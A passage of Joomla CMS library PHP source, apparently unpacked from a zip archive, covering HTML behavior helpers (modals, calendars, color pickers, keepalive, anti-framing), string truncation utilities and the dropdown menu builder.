$params['fullScreen']) { $opt['size'] = array('x' => '\\jQuery(window).width() - 80', 'y' => '\\jQuery(window).height() - 80'); } $options = JHtml::getJSObject($opt); // Attach modal behavior to document $document ->addScriptDeclaration( " jQuery(function($) { SqueezeBox.initialize(" . $options . "); initSqueezeBox(); $(document).on('subform-row-add', initSqueezeBox); function initSqueezeBox(event, container) { SqueezeBox.assign($(container || document).find('" . $selector . "').get(), { parse: 'rel' }); } }); window.jModalClose = function () { SqueezeBox.close(); }; // Add extra modal close functionality for tinyMCE-based editors document.onreadystatechange = function () { if (document.readyState == 'interactive' && typeof tinyMCE != 'undefined' && tinyMCE) { if (typeof window.jModalClose_no_tinyMCE === 'undefined') { window.jModalClose_no_tinyMCE = typeof(jModalClose) == 'function' ? jModalClose : false; jModalClose = function () { if (window.jModalClose_no_tinyMCE) window.jModalClose_no_tinyMCE.apply(this, arguments); tinyMCE.activeEditor.windowManager.close(); }; } if (typeof window.SqueezeBoxClose_no_tinyMCE === 'undefined') { if (typeof(SqueezeBox) == 'undefined') SqueezeBox = {}; window.SqueezeBoxClose_no_tinyMCE = typeof(SqueezeBox.close) == 'function' ? SqueezeBox.close : false; SqueezeBox.close = function () { if (window.SqueezeBoxClose_no_tinyMCE) window.SqueezeBoxClose_no_tinyMCE.apply(this, arguments); tinyMCE.activeEditor.windowManager.close(); }; } } }; " ); // Set static array static::$loaded[__METHOD__][$sig] = true; return; } /** * JavaScript behavior to allow shift select in grids * * @param string $id The id of the form for which a multiselect behaviour is to be applied. * * @return void * * @since 1.7 */ public static function multiselect($id = 'adminForm') { // Only load once if (isset(static::$loaded[__METHOD__][$id])) { return; } // Include core static::core(); // Include jQuery JHtml::_('jquery.framework'); JHtml::_('script', 'system/multiselect.js', array('version' => 'auto', 'relative' => true)); // Attach multiselect to document JFactory::getDocument()->addScriptDeclaration( "jQuery(document).ready(function() { Joomla.JMultiSelect('" . $id . "'); });" ); // Set static array static::$loaded[__METHOD__][$id] = true; return; } /** * Add unobtrusive javascript support for a collapsible tree. * * @param string $id An index * @param array $params An array of options. * @param array $root The root node * * @return void * * @since 1.5 * * @deprecated 4.0 No replacement, not used since 3.0. */ public static function tree($id, $params = array(), $root = array()) { // Include MooTools framework static::framework(); JHtml::_('script', 'system/mootree.js', array('framework' => true, 'version' => 'auto', 'relative' => true)); JHtml::_('stylesheet', 'system/mootree.css', array('version' => 'auto', 'relative' => true)); if (isset(static::$loaded[__METHOD__][$id])) { return; } // Include jQuery JHtml::_('jquery.framework'); // Setup options object $opt['div'] = array_key_exists('div', $params) ? $params['div'] : $id . '_tree'; $opt['mode'] = array_key_exists('mode', $params) ? $params['mode'] : 'folders'; $opt['grid'] = array_key_exists('grid', $params) ? '\\' . $params['grid'] : true; $opt['theme'] = array_key_exists('theme', $params) ? $params['theme'] : JHtml::_('image', 'system/mootree.gif', '', array(), true, true); // Event handlers $opt['onExpand'] = array_key_exists('onExpand', $params) ? '\\' . $params['onExpand'] : null; $opt['onSelect'] = array_key_exists('onSelect', $params) ? '\\' . $params['onSelect'] : null; $opt['onClick'] = array_key_exists('onClick', $params) ? '\\' . $params['onClick'] : '\\function(node){ window.open(node.data.url, node.data.target != null ? node.data.target : \'_self\'); }'; $options = JHtml::getJSObject($opt); // Setup root node $rt['text'] = array_key_exists('text', $root) ? $root['text'] : 'Root'; $rt['id'] = array_key_exists('id', $root) ? $root['id'] : null; $rt['color'] = array_key_exists('color', $root) ? $root['color'] : null; $rt['open'] = array_key_exists('open', $root) ? '\\' . $root['open'] : true; $rt['icon'] = array_key_exists('icon', $root) ? $root['icon'] : null; $rt['openicon'] = array_key_exists('openicon', $root) ? $root['openicon'] : null; $rt['data'] = array_key_exists('data', $root) ? $root['data'] : null; $rootNode = JHtml::getJSObject($rt); $treeName = array_key_exists('treeName', $params) ? $params['treeName'] : ''; $js = ' jQuery(function(){ tree' . $treeName . ' = new MooTreeControl(' . $options . ',' . $rootNode . '); tree' . $treeName . '.adopt(\'' . $id . '\');})'; // Attach tooltips to document $document = JFactory::getDocument(); $document->addScriptDeclaration($js); // Set static array static::$loaded[__METHOD__][$id] = true; return; } /** * Add unobtrusive JavaScript support for a calendar control. * * @return void * * @since 1.5 * * @deprecated 4.0 */ public static function calendar() { // Only load once if (isset(static::$loaded[__METHOD__])) { return; } JLog::add('JHtmlBehavior::calendar is deprecated as the static assets are being loaded in the relative layout.', JLog::WARNING, 'deprecated'); $document = JFactory::getDocument(); $tag = JFactory::getLanguage()->getTag(); $attribs = array('title' => JText::_('JLIB_HTML_BEHAVIOR_GREEN'), 'media' => 'all'); JHtml::_('stylesheet', 'system/calendar-jos.css', array('version' => 'auto', 'relative' => true), $attribs); JHtml::_('script', $tag . '/calendar.js', array('version' => 'auto', 'relative' => true)); JHtml::_('script', $tag . '/calendar-setup.js', array('version' => 'auto', 'relative' => true)); $translation = static::calendartranslation(); if ($translation) { $document->addScriptDeclaration($translation); } static::$loaded[__METHOD__] = true; } /** * Add unobtrusive JavaScript support for a color picker. * * @return void * * @since 1.7 * * @deprecated 4.0 Use directly the field or the layout */ public static function colorpicker() { // Only load once if (isset(static::$loaded[__METHOD__])) { return; } // Include jQuery JHtml::_('jquery.framework'); JHtml::_('script', 'jui/jquery.minicolors.min.js', array('version' => 'auto', 'relative' => true)); JHtml::_('stylesheet', 'jui/jquery.minicolors.css', array('version' => 'auto', 'relative' => true)); JFactory::getDocument()->addScriptDeclaration(" jQuery(document).ready(function (){ jQuery('.minicolors').each(function() { jQuery(this).minicolors({ control: jQuery(this).attr('data-control') || 'hue', format: jQuery(this).attr('data-validate') === 'color' ? 'hex' : (jQuery(this).attr('data-format') === 'rgba' ? 'rgb' : jQuery(this).attr('data-format')) || 'hex', keywords: jQuery(this).attr('data-keywords') || '', opacity: jQuery(this).attr('data-format') === 'rgba' ? true : false || false, position: jQuery(this).attr('data-position') || 'default', theme: 'bootstrap' }); }); }); " ); static::$loaded[__METHOD__] = true; } /** * Add unobtrusive JavaScript support for a simple color picker. * * @return void * * @since 3.1 * * @deprecated 4.0 Use directly the field or the layout */ public static function simplecolorpicker() { // Only load once if (isset(static::$loaded[__METHOD__])) { return; } // Include jQuery JHtml::_('jquery.framework'); JHtml::_('script', 'jui/jquery.simplecolors.min.js', array('version' => 'auto', 'relative' => true)); JHtml::_('stylesheet', 'jui/jquery.simplecolors.css', array('version' => 'auto', 'relative' => true)); JFactory::getDocument()->addScriptDeclaration(" jQuery(document).ready(function (){ jQuery('select.simplecolors').simplecolors(); }); " ); static::$loaded[__METHOD__] = true; } /** * Keep session alive, for example, while editing or creating an article. * * @return void * * @since 1.5 */ public static function keepalive() { // Only load once if (isset(static::$loaded[__METHOD__])) { return; } $session = JFactory::getSession(); // If the handler is not 'Database', we set a fixed, small refresh value (here: 5 min) $refreshTime = 300; if ($session->storeName === 'database') { $lifeTime = $session->getExpire(); $refreshTime = $lifeTime <= 60 ? 45 : $lifeTime - 60; // The longest refresh period is one hour to prevent integer overflow. if ($refreshTime > 3600 || $refreshTime <= 0) { $refreshTime = 3600; } } // If we are in the frontend or logged in as a user, we can use the ajax component to reduce the load $uri = 'index.php' . (JFactory::getApplication()->isClient('site') || !JFactory::getUser()->guest ? '?option=com_ajax&format=json' : ''); // Include core and polyfill for browsers lower than IE 9. static::core(); static::polyfill('event', 'lt IE 9'); // Add keepalive script options. JFactory::getDocument()->addScriptOptions('system.keepalive', array('interval' => $refreshTime * 1000, 'uri' => JRoute::_($uri))); // Add script. JHtml::_('script', 'system/keepalive.js', array('version' => 'auto', 'relative' => true)); static::$loaded[__METHOD__] = true; return; } /** * Highlight some words via Javascript. * * @param array $terms Array of words that should be highlighted. * @param string $start ID of the element that marks the begin of the section in which words * should be highlighted. Note this element will be removed from the DOM. * @param string $end ID of the element that end this section. * Note this element will be removed from the DOM. * @param string $className Class name of the element highlights are wrapped in. * @param string $tag Tag that will be used to wrap the highlighted words. * * @return void * * @since 2.5 */ public static function highlighter(array $terms, $start = 'highlighter-start', $end = 'highlighter-end', $className = 'highlight', $tag = 'span') { $sig = md5(serialize(array($terms, $start, $end))); if (isset(static::$loaded[__METHOD__][$sig])) { return; } $terms = array_filter($terms, 'strlen'); // Nothing to Highlight if (empty($terms)) { static::$loaded[__METHOD__][$sig] = true; return; } // Include core static::core(); // Include jQuery JHtml::_('jquery.framework'); JHtml::_('script', 'system/highlighter.js', array('version' => 'auto', 'relative' => true)); foreach ($terms as $i => $term) { $terms[$i] = JFilterOutput::stringJSSafe($term); } $document = JFactory::getDocument(); $document->addScriptDeclaration(" jQuery(function ($) { var start = document.getElementById('" . $start . "'); var end = document.getElementById('" . $end . "'); if (!start || !end || !Joomla.Highlighter) { return true; } highlighter = new Joomla.Highlighter({ startElement: start, endElement: end, className: '" . $className . "', onlyWords: false, tag: '" . $tag . "' }).highlight([\"" . implode('","', $terms) . "\"]); $(start).remove(); $(end).remove(); }); "); static::$loaded[__METHOD__][$sig] = true; return; } /** * Break us out of any containing iframes * * @return void * * @since 1.5 * * @deprecated 4.0 Add a X-Frame-Options HTTP Header with the SAMEORIGIN value instead. */ public static function noframes() { JLog::add(__METHOD__ . ' is deprecated, add a X-Frame-Options HTTP Header with the SAMEORIGIN value instead.', JLog::WARNING, 'deprecated'); // Only load once if (isset(static::$loaded[__METHOD__])) { return; } // Include core static::core(); // Include jQuery JHtml::_('jquery.framework'); $js = 'jQuery(function () { if (top == self) { document.documentElement.style.display = "block"; } else { top.location = self.location; } // Firefox fix jQuery("input[autofocus]").focus(); })'; $document = JFactory::getDocument(); $document->addStyleDeclaration('html { display:none }'); $document->addScriptDeclaration($js); JFactory::getApplication()->setHeader('X-Frame-Options', 'SAMEORIGIN'); static::$loaded[__METHOD__] = true; } /** * Internal method to get a JavaScript object notation string from an array * * @param array $array The array to convert to JavaScript object notation * * @return string JavaScript object notation representation of the array * * @since 1.5 * @deprecated 4.0 - Use JHtml::getJSObject() instead. */ protected static function _getJSObject($array = array()) { JLog::add('JHtmlBehavior::_getJSObject() is deprecated. JHtml::getJSObject() instead..', JLog::WARNING, 'deprecated'); return JHtml::getJSObject($array); } /** * Add unobtrusive JavaScript support to keep a tab state. * * Note that keeping tab state only works for inner tabs if in accordance with the following example: * * ``` * parent tab = permissions * child tab = permission-<identifier> * ``` * * Each tab header `<a>` tag also should have a unique href attribute * * @return void * * @since 3.2 * * @deprecated 4.0 In Joomla 4 use the custom element joomla-tab. */ public static function tabstate() { JLog::add('JHtmlBehavior::tabstate is deprecated. In Joomla 4 use the custom element joomla-tab.', JLog::WARNING, 'deprecated'); if (isset(self::$loaded[__METHOD__])) { return; } // Include jQuery JHtml::_('jquery.framework'); JHtml::_('behavior.polyfill', array('filter','xpath')); JHtml::_('script', 'system/tabs-state.js', array('version' => 'auto', 'relative' => true)); self::$loaded[__METHOD__] = true; } /** * Add javascript polyfills. * * @param string|array $polyfillTypes The polyfill type(s). Examples: event, array('event', 'classlist'). * @param string $conditionalBrowser An IE conditional expression. Example: lt IE 9 (lower than IE 9). * * @return void * * @since 3.7.0 */ public static function polyfill($polyfillTypes = null, $conditionalBrowser = null) { if ($polyfillTypes === null) { return; } foreach ((array) $polyfillTypes as $polyfillType) { $sig = md5(serialize(array($polyfillType, $conditionalBrowser))); // Only load once if (isset(static::$loaded[__METHOD__][$sig])) { continue; } // If include according to browser. $scriptOptions = array('version' => 'auto', 'relative' => true); $scriptOptions = $conditionalBrowser !== null ? array_replace($scriptOptions, array('conditional' => $conditionalBrowser)) : $scriptOptions; JHtml::_('script', 'system/polyfill.' . $polyfillType . '.js', $scriptOptions); // Set static array static::$loaded[__METHOD__][$sig] = true; } } /** * Internal method to translate the JavaScript Calendar * * @return string JavaScript that translates the object * * @since 1.5 */ protected static function calendartranslation() { static $jsscript = 0; // Guard clause, avoids unnecessary nesting if ($jsscript) { return false; } $jsscript = 1; // To keep the code simple here, run strings through JText::_() using array_map() $callback = array('JText', '_'); $weekdays_full = array_map( $callback, array( 'SUNDAY', 'MONDAY', 'TUESDAY', 'WEDNESDAY', 'THURSDAY', 'FRIDAY', 'SATURDAY', 'SUNDAY', ) ); $weekdays_short = array_map( $callback, array( 'SUN', 'MON', 'TUE', 'WED', 'THU', 'FRI', 'SAT', 'SUN', ) ); $months_long = array_map( $callback, array( 'JANUARY', 'FEBRUARY', 'MARCH', 'APRIL', 'MAY', 'JUNE', 'JULY', 'AUGUST', 'SEPTEMBER', 'OCTOBER', 'NOVEMBER', 'DECEMBER', ) ); $months_short = array_map( $callback, array( 'JANUARY_SHORT', 'FEBRUARY_SHORT', 'MARCH_SHORT', 'APRIL_SHORT', 'MAY_SHORT', 'JUNE_SHORT', 'JULY_SHORT', 'AUGUST_SHORT', 'SEPTEMBER_SHORT', 'OCTOBER_SHORT', 'NOVEMBER_SHORT', 'DECEMBER_SHORT', ) ); // This will become an object in Javascript but define it first in PHP for readability $today = " " . JText::_('JLIB_HTML_BEHAVIOR_TODAY') . " "; $text = array( 'INFO' => JText::_('JLIB_HTML_BEHAVIOR_ABOUT_THE_CALENDAR'), 'ABOUT' => "DHTML Date/Time Selector\n" . "(c) dynarch.com 20022005 / Author: Mihai Bazon\n" . "For latest version visit: http://www.dynarch.com/projects/calendar/\n" . "Distributed under GNU LGPL. See http://gnu.org/licenses/lgpl.html for details." . "\n\n" . JText::_('JLIB_HTML_BEHAVIOR_DATE_SELECTION') . JText::_('JLIB_HTML_BEHAVIOR_YEAR_SELECT') . JText::_('JLIB_HTML_BEHAVIOR_MONTH_SELECT') . JText::_('JLIB_HTML_BEHAVIOR_HOLD_MOUSE'), 'ABOUT_TIME' => "\n\n" . "Time selection:\n" . " Click on any of the time parts to increase it\n" . " or Shiftclick to decrease it\n" . " or click and drag for faster selection.", 'PREV_YEAR' => JText::_('JLIB_HTML_BEHAVIOR_PREV_YEAR_HOLD_FOR_MENU'), 'PREV_MONTH' => JText::_('JLIB_HTML_BEHAVIOR_PREV_MONTH_HOLD_FOR_MENU'), 'GO_TODAY' => JText::_('JLIB_HTML_BEHAVIOR_GO_TODAY'), 'NEXT_MONTH' => JText::_('JLIB_HTML_BEHAVIOR_NEXT_MONTH_HOLD_FOR_MENU'), 'SEL_DATE' => JText::_('JLIB_HTML_BEHAVIOR_SELECT_DATE'), 'DRAG_TO_MOVE' => JText::_('JLIB_HTML_BEHAVIOR_DRAG_TO_MOVE'), 'PART_TODAY' => $today, 'DAY_FIRST' => JText::_('JLIB_HTML_BEHAVIOR_DISPLAY_S_FIRST'), 'WEEKEND' => JFactory::getLanguage()->getWeekEnd(), 'CLOSE' => JText::_('JLIB_HTML_BEHAVIOR_CLOSE'), 'TODAY' => JText::_('JLIB_HTML_BEHAVIOR_TODAY'), 'TIME_PART' => JText::_('JLIB_HTML_BEHAVIOR_SHIFT_CLICK_OR_DRAG_TO_CHANGE_VALUE'), 'DEF_DATE_FORMAT' => "%Y%m%d", 'TT_DATE_FORMAT' => JText::_('JLIB_HTML_BEHAVIOR_TT_DATE_FORMAT'), 'WK' => JText::_('JLIB_HTML_BEHAVIOR_WK'), 'TIME' => JText::_('JLIB_HTML_BEHAVIOR_TIME'), ); return 'Calendar._DN = ' . json_encode($weekdays_full) . ';' . ' Calendar._SDN = ' . json_encode($weekdays_short) . ';' . ' Calendar._FD = 0;' . ' Calendar._MN = ' . json_encode($months_long) . ';' . ' Calendar._SMN = ' . json_encode($months_short) . ';' . ' Calendar._TT = ' . json_encode($text) . ';'; } } PK���\Sʡ��$�$cms/html/string.phpnu�[���<?php /** * @package Joomla.Libraries * @subpackage HTML * * @copyright (C) 2010 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE.txt */ defined('JPATH_PLATFORM') or die; use Joomla\String\StringHelper; /** * HTML helper class for rendering manipulated strings. * * @since 1.6 */ abstract class JHtmlString { /** * Truncates text blocks over the specified character limit and closes * all open HTML tags. The method will optionally not truncate an individual * word, it will find the first space that is within the limit and * truncate at that point. This method is UTF-8 safe. * * @param string $text The text to truncate. * @param integer $length The maximum length of the text. * @param boolean $noSplit Don't split a word if that is where the cutoff occurs (default: true). * @param boolean $allowHtml Allow HTML tags in the output, and close any open tags (default: true). * * @return string The truncated text. * * @since 1.6 */ public static function truncate($text, $length = 0, $noSplit = true, $allowHtml = true) { // Assume a lone open tag is invalid HTML. if ($length === 1 && $text[0] === '<') { return '...'; } // Check if HTML tags are allowed. if (!$allowHtml) { // Deal with spacing issues in the input. $text = str_replace('>', '> ', $text); $text = str_replace(array(' ', ' '), ' ', $text); $text = StringHelper::trim(preg_replace('#\s+#mui', ' ', $text)); // Strip the tags from the input and decode entities. $text = strip_tags($text); $text = html_entity_decode($text, ENT_QUOTES, 'UTF-8'); // Remove remaining extra spaces. $text = str_replace(' ', ' ', $text); $text = StringHelper::trim(preg_replace('#\s+#mui', ' ', $text)); } // Whether or not allowing HTML, truncate the item text if it is too long. if ($length > 0 && StringHelper::strlen($text) > $length) { $tmp = trim(StringHelper::substr($text, 0, $length)); if ($tmp[0] === '<' && strpos($tmp, '>') === false) { return '...'; } // $noSplit true means that we do not allow splitting of words. if ($noSplit) { // Find the position of the last space within the allowed length. $offset = StringHelper::strrpos($tmp, ' '); $tmp = StringHelper::substr($tmp, 0, $offset + 1); // If there are no spaces and the string is longer than the maximum // we need to just use the ellipsis. In that case we are done. if ($offset === false && strlen($text) > $length) { return '...'; } if (StringHelper::strlen($tmp) > $length - 3) { $tmp = trim(StringHelper::substr($tmp, 0, StringHelper::strrpos($tmp, ' '))); } } if ($allowHtml) { // Put all opened tags into an array preg_match_all("#<([a-z][a-z0-9]*)\b.*?(?!/)>#i", $tmp, $result); $openedTags = $result[1]; // Some tags self close so they do not need a separate close tag. $openedTags = array_diff($openedTags, array('img', 'hr', 'br')); $openedTags = array_values($openedTags); // Put all closed tags into an array preg_match_all("#</([a-z][a-z0-9]*)\b(?:[^>]*?)>#iU", $tmp, $result); $closedTags = $result[1]; $numOpened = count($openedTags); // Not all tags are closed so trim the text and finish. if (count($closedTags) !== $numOpened) { // Closing tags need to be in the reverse order of opening tags. $openedTags = array_reverse($openedTags); // Close tags for ($i = 0; $i < $numOpened; $i++) { if (!in_array($openedTags[$i], $closedTags)) { $tmp .= '</' . $openedTags[$i] . '>'; } else { unset($closedTags[array_search($openedTags[$i], $closedTags)]); } } } // Check if we are within a tag if (StringHelper::strrpos($tmp, '<') > StringHelper::strrpos($tmp, '>')) { $offset = StringHelper::strrpos($tmp, '<'); $tmp = StringHelper::trim(StringHelper::substr($tmp, 0, $offset)); } } if ($tmp === false || strlen($text) > strlen($tmp)) { $text = trim($tmp) . '...'; } } // Clean up any internal spaces created by the processing. $text = str_replace(' </', '</', $text); $text = str_replace(' ...', '...', $text); return $text; } /** * Method to extend the truncate method to more complex situations * * The goal is to get the proper length plain text string with as much of * the html intact as possible with all tags properly closed. * * @param string $html The content of the introtext to be truncated * @param integer $maxLength The maximum number of characters to render * @param boolean $noSplit Don't split a word if that is where the cutoff occurs (default: true). * * @return string The truncated string. If the string is truncated an ellipsis * (...) will be appended. * * @note If a maximum length of 3 or less is selected and the text has more than * that number of characters an ellipsis will be displayed. * This method will not create valid HTML from malformed HTML. * * @since 3.1 */ public static function truncateComplex($html, $maxLength = 0, $noSplit = true) { // Start with some basic rules. $baseLength = strlen($html); // If the original HTML string is shorter than the $maxLength do nothing and return that. if ($baseLength <= $maxLength || $maxLength === 0) { return $html; } // Take care of short simple cases. if ($maxLength <= 3 && $html[0] !== '<' && strpos(substr($html, 0, $maxLength - 1), '<') === false && $baseLength > $maxLength) { return '...'; } // Deal with maximum length of 1 where the string starts with a tag. if ($maxLength === 1 && $html[0] === '<') { $endTagPos = strlen(strstr($html, '>', true)); $tag = substr($html, 1, $endTagPos); $l = $endTagPos + 1; if ($noSplit) { return substr($html, 0, $l) . '</' . $tag . '...'; } // TODO: $character doesn't seem to be used... $character = substr(strip_tags($html), 0, 1); return substr($html, 0, $l) . '</' . $tag . '...'; } // First get the truncated plain text string. This is the rendered text we want to end up with. $ptString = JHtml::_('string.truncate', $html, $maxLength, $noSplit, $allowHtml = false); // It's all HTML, just return it. if ($ptString === '') { return $html; } // If the plain text is shorter than the max length the variable will not end in ... // In that case we use the whole string. if (substr($ptString, -3) !== '...') { return $html; } // Regular truncate gives us the ellipsis but we want to go back for text and tags. if ($ptString === '...') { $stripped = substr(strip_tags($html), 0, $maxLength); $ptString = JHtml::_('string.truncate', $stripped, $maxLength, $noSplit, $allowHtml = false); } // We need to trim the ellipsis that truncate adds. $ptString = rtrim($ptString, '.'); // Now deal with more complex truncation. while ($maxLength <= $baseLength) { // Get the truncated string assuming HTML is allowed. $htmlString = JHtml::_('string.truncate', $html, $maxLength, $noSplit, $allowHtml = true); if ($htmlString === '...' && strlen($ptString) + 3 > $maxLength) { return $htmlString; } $htmlString = rtrim($htmlString, '.'); // Now get the plain text from the HTML string and trim it. $htmlStringToPtString = JHtml::_('string.truncate', $htmlString, $maxLength, $noSplit, $allowHtml = false); $htmlStringToPtString = rtrim($htmlStringToPtString, '.'); // If the new plain text string matches the original plain text string we are done. if ($ptString === $htmlStringToPtString) { return $htmlString . '...'; } // Get the number of HTML tag characters in the first $maxLength characters $diffLength = strlen($ptString) - strlen($htmlStringToPtString); if ($diffLength <= 0) { return $htmlString . '...'; } // Set new $maxlength that adjusts for the HTML tags $maxLength += $diffLength; } } /** * Abridges text strings over the specified character limit. The * behavior will insert an ellipsis into the text replacing a section * of variable size to ensure the string does not exceed the defined * maximum length. This method is UTF-8 safe. * * For example, it transforms "Really long title" to "Really...title". * * Note that this method does not scan for HTML tags so will potentially break them. * * @param string $text The text to abridge. * @param integer $length The maximum length of the text (default is 50). * @param integer $intro The maximum length of the intro text (default is 30). * * @return string The abridged text. * * @since 1.6 */ public static function abridge($text, $length = 50, $intro = 30) { // Abridge the item text if it is too long. if (StringHelper::strlen($text) > $length) { // Determine the remaining text length. $remainder = $length - ($intro + 3); // Extract the beginning and ending text sections. $beg = StringHelper::substr($text, 0, $intro); $end = StringHelper::substr($text, StringHelper::strlen($text) - $remainder); // Build the resulting string. $text = $beg . '...' . $end; } return $text; } } PK���\%�Ϣ##cms/html/dropdown.phpnu�[���<?php /** * @package Joomla.Libraries * @subpackage HTML * * @copyright (C) 2012 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE.txt */ defined('JPATH_PLATFORM') or die; /** * HTML utility class for building a dropdown menu * * @since 3.0 */ abstract class JHtmlDropdown { /** * @var array Array containing information for loaded files * @since 3.0 */ protected static $loaded = array(); /** * @var string HTML markup for the dropdown list * @since 3.0 */ protected static $dropDownList = null; /** * Method to inject needed script * * @return void * * @since 3.0 */ public static function init() { // Only load once if (isset(static::$loaded[__METHOD__])) { return; } // Depends on Bootstrap JHtml::_('bootstrap.framework'); JFactory::getDocument()->addScriptDeclaration(" (function($){ $(document).ready(function (){ $('.has-context') .mouseenter(function (){ $('.btn-group',$(this)).show(); }) .mouseleave(function (){ $('.btn-group',$(this)).hide(); $('.btn-group',$(this)).removeClass('open'); }); contextAction =function (cbId, task) { $('input[name=\"cid[]\"]').removeAttr('checked'); $('#' + cbId).attr('checked','checked'); Joomla.submitbutton(task); } }); })(jQuery); " ); // Set static array static::$loaded[__METHOD__] = true; return; } /** * Method to start a new dropdown menu * * @return void * * @since 3.0 */ public static function start() { // Only start once if (isset(static::$loaded[__METHOD__]) && static::$loaded[__METHOD__] == true) { return; } $dropDownList = '<div class="btn-group" style="margin-left:6px;display:none"> <a href="#" data-toggle="dropdown" class="dropdown-toggle btn btn-mini"> <span class="caret"></span> </a> <ul class="dropdown-menu">'; static::$dropDownList = $dropDownList; static::$loaded[__METHOD__] = true; return; } /** * Method to render current dropdown menu * * @return string HTML markup for the dropdown list * * @since 3.0 */ public static function render() { $dropDownList = static::$dropDownList; $dropDownList .= '</ul></div>'; static::$dropDownList = null; static::$loaded['JHtmlDropdown::start'] = false; return $dropDownList; } /** * Append an edit item to the current dropdown menu * * @param integer $id Record ID * @param string $prefix Task prefix * @param string $customLink The custom link if dont use default Joomla action format * * @return void * * @since 3.0 */ public static function edit($id, $prefix = '', $customLink = '') { static::start(); if (!$customLink) { $option = JFactory::getApplication()->input->getCmd('option'); $link = 'index.php?option=' . $option; } else { $link = $customLink; } $link .= '&task=' . $prefix . 'edit&id=' . $id; $link = JRoute::_($link); static::addCustomItem(JText::_('JACTION_EDIT'), $link); return; } /** * Append a publish item to the current dropdown menu * * @param string $checkboxId ID of corresponding checkbox of the record * @param string $prefix The task prefix * * @return void * * @since 3.0 */ public static function publish($checkboxId, $prefix = '') { $task = $prefix . 'publish'; static::addCustomItem(JText::_('JTOOLBAR_PUBLISH'), 'javascript:void(0)', 'onclick="contextAction(\'' . $checkboxId . '\', \'' . $task . '\')"'); return; } /** * Append an unpublish item to the current dropdown menu * * @param string $checkboxId ID of corresponding checkbox of the record * @param string $prefix The task prefix * * @return void * * @since 3.0 */ public static function unpublish($checkboxId, $prefix = '') { $task = $prefix . 'unpublish'; static::addCustomItem(JText::_('JTOOLBAR_UNPUBLISH'), 'javascript:void(0)', 'onclick="contextAction(\'' . $checkboxId . '\', \'' . $task . '\')"'); return; } /** * Append a featured item to the current dropdown menu * * @param string $checkboxId ID of corresponding checkbox of the record * @param string $prefix The task prefix * * @return void * * @since 3.0 */ public static function featured($checkboxId, $prefix = '') { $task = $prefix . 'featured'; static::addCustomItem(JText::_('JFEATURED'), 'javascript:void(0)', 'onclick="contextAction(\'' . $checkboxId . '\', \'' . $task . '\')"'); return; } /** * Append an unfeatured item to the current dropdown menu * * @param string $checkboxId ID of corresponding checkbox of the record * @param string $prefix The task prefix * * @return void * * @since 3.0 */ public static function unfeatured($checkboxId, $prefix = '') { $task = $prefix . 'unfeatured'; static::addCustomItem(JText::_('JUNFEATURED'), 'javascript:void(0)', 'onclick="contextAction(\'' . $checkboxId . '\', \'' . $task . '\')"'); return; } /** * Append an archive item to the current dropdown menu * * @param string $checkboxId ID of corresponding checkbox of the record * @param string $prefix The task prefix * * @return void * * @since 3.0 */ public static function archive($checkboxId, $prefix = '') { $task = $prefix . 'archive'; static::addCustomItem(JText::_('JTOOLBAR_ARCHIVE'), 'javascript:void(0)', 'onclick="contextAction(\'' . $checkboxId . '\', \'' . $task . '\')"'); return; } /** * Append an unarchive item to the current dropdown menu * * @param string $checkboxId ID of corresponding checkbox of the record * @param string $prefix The task prefix * * @return void * * @since 3.0 */ public static function unarchive($checkboxId, $prefix = '') { $task = $prefix . 'unpublish'; static::addCustomItem(JText::_('JTOOLBAR_UNARCHIVE'), 'javascript:void(0)', 'onclick="contextAction(\'' . $checkboxId . '\', \'' . $task . '\')"'); return; } /** * Append a trash item to the current dropdown menu * * @param string $checkboxId ID of corresponding checkbox of the record * @param string $prefix The task prefix * * @return void * * @since 3.0 */ public static function trash($checkboxId, $prefix = '') { $task = $prefix . 'trash'; static::addCustomItem(JText::_('JTOOLBAR_TRASH'), 'javascript:void(0)', 'onclick="contextAction(\'' . $checkboxId . '\', \'' . $task . '\')"'); return; } /** * Append an untrash item to the current dropdown menu * * @param string $checkboxId ID of corresponding checkbox of the record * @param string $prefix The task prefix * * @return void * * @since 3.0 */ public static function untrash($checkboxId, $prefix = '') { $task = $prefix . 'publish'; static::addCustomItem(JText::_('JTOOLBAR_UNTRASH'), 'javascript:void(0)', 'onclick="contextAction(\'' . $checkboxId . '\', \'' . $task . '\')"'); return; } /** * Append a checkin item to the current dropdown menu * * @param string $checkboxId ID of corresponding checkbox of the record * @param string $prefix The task prefix * * @return void * * @since 3.0 */ public static function checkin($checkboxId, $prefix = '') { $task = $prefix . 'checkin'; static::addCustomItem(JText::_('JTOOLBAR_CHECKIN'), 'javascript:void(0)', 'onclick="contextAction(\'' . $checkboxId . '\', \'' . $task . '\')"'); return; } /** * Writes a divider between dropdown items * * @return void * * @since 3.0 */ public static function divider() { static::$dropDownList .= '<li class="divider"></li>'; return; } /** * Append a custom item to current dropdown menu * * @param string $label The label of item * @param string $link The link of item * @param string $linkAttributes Custom link attributes * @param string $className Class name of item * @param boolean $ajaxLoad True if using ajax load when item clicked * @param string $jsCallBackFunc Javascript function name, called when ajax load successfully * * @return void * * @since 3.0 */ public static function addCustomItem($label, $link = 'javascript:void(0)', $linkAttributes = '', $className = '', $ajaxLoad = false, $jsCallBackFunc = null) { static::start(); if ($ajaxLoad) { $href = ' href = "javascript:void(0)" onclick="loadAjax(\'' . $link . '\', \'' . $jsCallBackFunc . '\')"'; } else { $href = ' href = "' . $link . '" '; } $dropDownList = static::$dropDownList; $dropDownList .= '<li class="' . $className . '"><a ' . $linkAttributes . $href . ' >'; $dropDownList .= $label; $dropDownList .= '</a></li>'; static::$dropDownList = $dropDownList; return; } } PK���\5�h��@�@cms/html/jgrid.phpnu�[���<?php /** * @package Joomla.Libraries * @subpackage HTML * * @copyright (C) 2009 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE.txt */ defined('JPATH_PLATFORM') or die; use Joomla\Utilities\ArrayHelper; /** * Utility class for creating HTML Grids * * @since 1.6 */ abstract class JHtmlJGrid { /** * Returns an action on a grid * * @param integer $i The row index * @param string $task The task to fire * @param string|array $prefix An optional task prefix or an array of options * @param string $text An optional text to display [unused - @deprecated 4.0] * @param string $activeTitle An optional active tooltip to display if $enable is true * @param string $inactiveTitle An optional inactive tooltip to display if $enable is true * @param boolean $tip An optional setting for tooltip * @param string $activeClass An optional active HTML class * @param string $inactiveClass An optional inactive HTML class * @param boolean $enabled An optional setting for access control on the action. * @param boolean $translate An optional setting for translation. * @param string $checkbox An optional prefix for checkboxes. * * @return string The HTML 